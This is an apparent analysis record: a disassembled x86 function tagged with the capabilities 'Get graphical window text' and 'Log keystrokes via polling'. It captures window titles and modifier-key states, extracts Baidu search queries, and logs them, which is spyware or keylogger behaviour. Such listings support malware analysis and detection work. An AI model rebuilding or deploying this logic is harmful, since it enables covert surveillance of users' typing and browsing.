Function at 0x403ce0
Capabilities:
Get graphical window text
Log keystrokes via polling

Disassembly:
mov eax, 0x4128
call fcn.004b7a60
push ebx
push ebp
push esi
mov edx, ecx
push edi
xor esi, esi
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x1a]
mov word [esp + 0x18], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x1062]
mov word [esp + 0x1060], si
rep stosd dword es:[edi], eax
mov ecx, dword [edx + 0x2f58]
push 0x824
stosw word es:[edi], ax
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], edx
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ebx, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call ebx
mov si, ax
push 0x12
shr esi, 8
and esi, 0xff
call ebx
mov di, ax
push 0x10
shr edi, 8
and edi, 0xff
call ebx
shr eax, 8
and eax, 0xff
mov ebx, 0x4e6b30
test esi, esi
mov ebp, ebx
je 0x403d98
test edi, edi
je 0x403d88
mov ebx, 0x5c2d10
mov ebp, 0x5c2f10
jmp 0x403db6
test eax, eax
je 0x403da8
mov ebx, 0x5c2910
mov ebp, 0x5c2b10
jmp 0x403db6
test eax, eax
je 0x403da8
mov ebx, 0x5c2510
mov ebp, 0x5c2710
jmp 0x403db6
test esi, esi
je 0x403db6
mov ebx, 0x5c2110
mov ebp, 0x5c2310
lea edx, [esp + 0x18]
push ebp
push edx
push ebx
push 0x4ce548
lea eax, [esp + 0x1070]
push 0x823
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
mov ecx, dword [esp + 0x28]
xor esi, esi
add esp, 0x18
cmp word [ecx + 0x3060], si
lea edi, [ecx + 0x3060]
je 0x403e31
push ebx
mov ebx, dword [sym.imp.MSVCRT.dll_wcslen]
call ebx
add esp, 4
test eax, eax
jne 0x403e31
push ebp
call ebx
add esp, 4
test eax, eax
jne 0x403e31
lea edx, [esp + 0x18]
push edi
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov ecx, dword [esp + 0x18]
add esp, 8
lea eax, [esp + 0x18]
push 1
push eax
call fcn.004032c0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4128
ret
lea ecx, [esp + 0x1060]
lea edx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
mov ebx, dword [sym.imp.MSVCRT.dll_wcsstr]
lea eax, [esp + 0x20]
push str.baidu.com_s
push eax
call ebx
add esp, 0x10
test eax, eax
jne 0x403e70
lea ecx, [esp + 0x18]
push str.baidu.com_baidu_
push ecx
call ebx
add esp, 8
test eax, eax
je 0x403ee0
lea edx, [esp + 0x18]
push 0x4ce504
push edx
call ebx
mov edi, eax
add esp, 8
cmp edi, esi
je 0x403ee0
mov ebp, dword [sym.imp.MSVCRT.dll_wcscat]
lea ecx, [esp + 0x18]
sub eax, ecx
lea edx, [esp + 0x1060]
sar eax, 1
push 0x4ce4e8
push edx
mov word [esp + eax*2 + 0x1068], si
call ebp
add edi, 6
push 0x4ce4e4
push edi
call ebx
add esp, 0x10
cmp eax, esi
je 0x403eca
push eax
lea eax, [esp + 0x1064]
push eax
call ebp
add esp, 8
lea ecx, [esp + 0x1060]
lea edx, [esp + 0x18]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea eax, [esp + 0x14]
lea ecx, [esp + 0x18]
push eax
push ecx
mov dword [esp + 0x1c], esi
call fcn.0046cd40
mov ecx, eax
call fcn.0046cfa0
mov edx, eax
cmp edx, 0xffffffff
je 0x403f73
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x20aa]
mov word [esp + 0x20a8], si
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
push 1
stosw word es:[edi], ax
push esi
lea eax, [esp + 0x20b0]
push 0x823
push eax
push ecx
push edx
call fcn.0046cd40
mov ecx, eax
call fcn.0046d210
lea edx, [esp + 0x20a8]
lea eax, [esp + 0x1060]
push edx
push 0x4ce4dc
push 0x823
push eax
call dword [sym.imp.MSVCRT.dll__snwprintf]
lea ecx, [esp + 0x1070]
lea edx, [esp + 0x28]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 0x18
mov ecx, 0x411
xor eax, eax
lea edi, [esp + 0x30f2]
mov word [esp + 0x30f0], si
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x30f0]
push 0x823
lea ecx, [esp + 0x1c]
push eax
push ecx
mov ecx, 0x5bd038
call fcn.004885b0
test eax, eax
jne 0x403ffd
lea edx, [esp + 0x1060]
push edx
call fcn.0048e1c0
add esp, 4
test eax, eax
je 0x403ffd
mov eax, dword [0x5c2108]
push 0x824
cmp eax, esi
je 0x403fe0
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x1064]
push eax
push ecx
push 0xffffffffffffffff
jmp 0x403ff4
mov ecx, dword [0x5c3558]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x1064]
push edx
push eax
push ecx
mov ecx, dword [esp + 0x20]
call fcn.00405bc0
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x18]
push 1
push edx
call fcn.004032c0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4128
ret